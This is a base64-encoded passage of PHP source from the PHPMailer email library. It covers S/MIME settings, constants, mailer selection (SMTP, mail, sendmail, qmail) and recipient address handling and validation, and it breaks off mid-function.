CAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEByZXR1cm4gYm9vbGVhbiB0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIGlmIGFkZHJlc3MgYWxyZWFkeSB1c2VkIG9yIGludmFsaWQgaW4gc29tZSB3YXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQkNDIiBhZGRyZXNzLgogICAgICogQG5vdGU6IFRoaXMgZnVuY3Rpb24gd29ya3Mgd2l0aCB0aGUgU01UUCBtYWlsZXIgb24gd2luMzIsIG5vdCB3aXRoIHRoZSAibWFpbCIgbWFpbGVyLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRCQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hZGRPckVucXVldWVBbkFkZHJlc3MoJ2JjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiUmVwbHktVG8iIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCdSZXBseS1UbycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gYWRkcmVzcyB0byBvbmUgb2YgdGhlIHJlY2lwaWVudCBhcnJheXMgb3IgdG8gdGhlIFJlcGx5VG8gYXJyYXkuIEJlY2F1c2UgUEhQTWFpbGVyCiAgICAgKiBjYW4ndCB2YWxpZGF0ZSBhZGRyZXNzZXMgd2l0aCBhbiBJRE4gd2l0aG91dCBrbm93aW5nIHRoZSBQSFBNYWlsZXI6OiRDaGFyU2V0ICh0aGF0IGNhbiBzdGlsbAogICAgICogYmUgbW9kaWZpZWQgYWZ0ZXIgY2FsbGluZyB0aGlzIGZ1bmN0aW9uKSwgYWRkaXRpb24gb2Ygc3VjaCBhZGRyZXNzZXMgaXMgZGVsYXllZCB1bnRpbCBzZW5kKCkuCiAgICAgKiBBZGRyZXNzZXMgdGhhdCBoYXZlIGJlZW4gYWRkZWQgYWxyZWFkeSByZXR1cm4gZmFsc2UsIGJ1dCBkbyBub3QgdGhyb3cgZXhjZXB0aW9ucy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGtpbmQgT25lIG9mICd0bycsICdjYycsICdiY2MnLCBvciAnUmVwbHlUbycKICAgICAqIEBwYXJhbSBzdHJpbmcgJGFkZHJlc3MgVGhlIGVtYWlsIGFkZHJlc3MgdG8gc2VuZCwgcmVzcC4gdG8gcmVwbHkgdG8KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCRraW5kLCAkYWRkcmVzcywgJG5hbWUpCiAgICB7CiAgICAgICAgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsKICAgICAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgLy8gQXQtc2lnbiBpcyBtaXNzc2luZy4KICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KCRraW5kLCAkYWRkcmVzcywgJG5hbWUpOwogICAgICAgIC8vIEVucXVldWUgYWRkcmVzc2VzIHdpdGggSUROIHVudGlsIHdlIGtub3cgdGhlIFBIUE1haWxlcjo6JENoYXJTZXQuCiAgICAgICAgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgJHRoaXMtPmlkblN1cHBvcnRlZCgpKSB7CiAgICAgICAgICAgIGlmICgka2luZCAhPSAnUmVwbHktVG8nKSB7CiAgICAgICAgICAgICAgICBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZWNpcGllbnRzUXVldWUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRhZGRyZXNzLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vIEltbWVkaWF0ZWx5IGFkZCBzdGFuZGFyZCBhZGRyZXNzZXMgd2l0aG91dCBJRE4uCiAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGFkZHJlc3MgdG8gb25lIG9mIHRoZSByZWNpcGllbnQgYXJyYXlzIG9yIHRvIHRoZSBSZXBseVRvIGFycmF5LgogICAgICogQWRkcmVzc2VzIHRoYXQgaGF2ZSBiZWVuIGFkZGVkIGFscmVhZHkgcmV0dXJuIGZhbHNlLCBidXQgZG8gbm90IHRocm93IGV4Y2VwdGlvbnMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRraW5kIE9uZSBvZiAndG8nLCAnY2MnLCAnYmNjJywgb3IgJ1JlcGx5VG8nCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQsIHJlc3AuIHRvIHJlcGx5IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuIHRydWUgb24gc3VjY2VzcywgZmFsc2UgaWYgYWRkcmVzcyBhbHJlYWR5IHVzZWQgb3IgaW52YWxpZCBpbiBzb21lIHdheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgka2luZCwgYXJyYXkoJ3RvJywgJ2NjJywgJ2JjYycsICdSZXBseS1UbycpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5o